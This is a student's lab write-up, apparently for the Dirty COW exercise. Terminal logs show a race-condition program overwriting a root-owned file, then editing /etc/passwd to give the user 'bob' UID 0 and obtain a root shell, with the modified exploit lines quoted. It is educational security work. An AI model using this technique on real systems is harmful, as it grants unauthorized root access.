

Ashutosh Mishra

1601CS06

Assignment 4

Task 1

```
Terminal
c[03/14/2019 03:03] seed@ubuntu:~$ cd /home/seed/ssd/assign\ 4/
[03/14/2019 03:03] seed@ubuntu:~/ssd/assign 4$ sudo touch /zzz
[sudo] password for seed:
[03/14/2019 03:03] seed@ubuntu:~/ssd/assign 4$ sudo chmod 644 /zzz
[03/14/2019 03:03] seed@ubuntu:~/ssd/assign 4$ sudo gedit /zzz
111111[03/14/2019 03:03] seed@ubuntu:~/ssd/assign 4$ cat /zzz
1111122222233333
[03/14/2019 03:03] seed@ubuntu:~/ssd/assign 4$ ls -l /zzz
-rw-r--r-- 1 root root 17 Mar 14 03:03 /zzz
[03/14/2019 03:03] seed@ubuntu:~/ssd/assign 4$ echo 315 > /zzz
bash: /zzz: Permission denied
[03/14/2019 03:04] seed@ubuntu:~/ssd/assign 4$ █
```

We have created a root owned file, and a normal user cannot modify it.

```
[03/14/2019 03:14] seed@ubuntu:~/ssd/assign 4$ gcc cow_attack.c -lpthread
[03/14/2019 03:15] seed@ubuntu:~/ssd/assign 4$ ./a.out
^C
[03/14/2019 03:15] seed@ubuntu:~/ssd/assign 4$ cat /zzz
11111*****33333
[03/14/2019 03:15] seed@ubuntu:~/ssd/assign 4$ █
```

Next, we launched the cow_attack.c file. After letting it run for a few seconds, we checked the root owned file and found that it had indeed been modified.

Task 2

```
[03/14/2019 03:15] seed@ubuntu:~/ssd/assign 4$ sudo adduser bob
[sudo] password for seed:
Adding user `bob' ...
Adding new group `bob' (1002) ...
Adding new user `bob' (1001) with group `bob' ...
Creating home directory `/home/bob' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for bob
Enter the new value, or press ENTER for the default
    Full Name []: bob
    Room Number []: 4
    Work Phone []: 4
    Home Phone []: 4
    Other []: 4
Is the information correct? [Y/n] y
[03/14/2019 03:18] seed@ubuntu:~/ssd/assign 4$ cat /etc/passwd | grep bob
bob:x:1001:1002:bob,4,4,4,4:/home/bob:/bin/bash
[03/14/2019 03:18] seed@ubuntu:~/ssd/assign 4$
```

We have added a normal user “bob”.

We then modified the following lines in `cow_attack.c` :

```
int f=open("/etc/passwd", O_RDONLY);
char *position = strstr(map, "bob");
char *content= "bob:x:0000";
```

After running the modified file, we get the following result:

```
[03/14/2019 03:22] seed@ubuntu:~/ssd/assign 4$ gcc cow_attack.c -lpthread
[03/14/2019 03:22] seed@ubuntu:~/ssd/assign 4$ ./a.out
^C
[03/14/2019 03:22] seed@ubuntu:~/ssd/assign 4$ su bob
Password:
root@ubuntu:/home/seed/ssd/assign 4# id
uid=0(root) gid=1001(vboxsf) groups=0(root),1001(vboxsf)
root@ubuntu:/home/seed/ssd/assign 4#
```

We have successfully transformed “bob” from a normal user into a root user!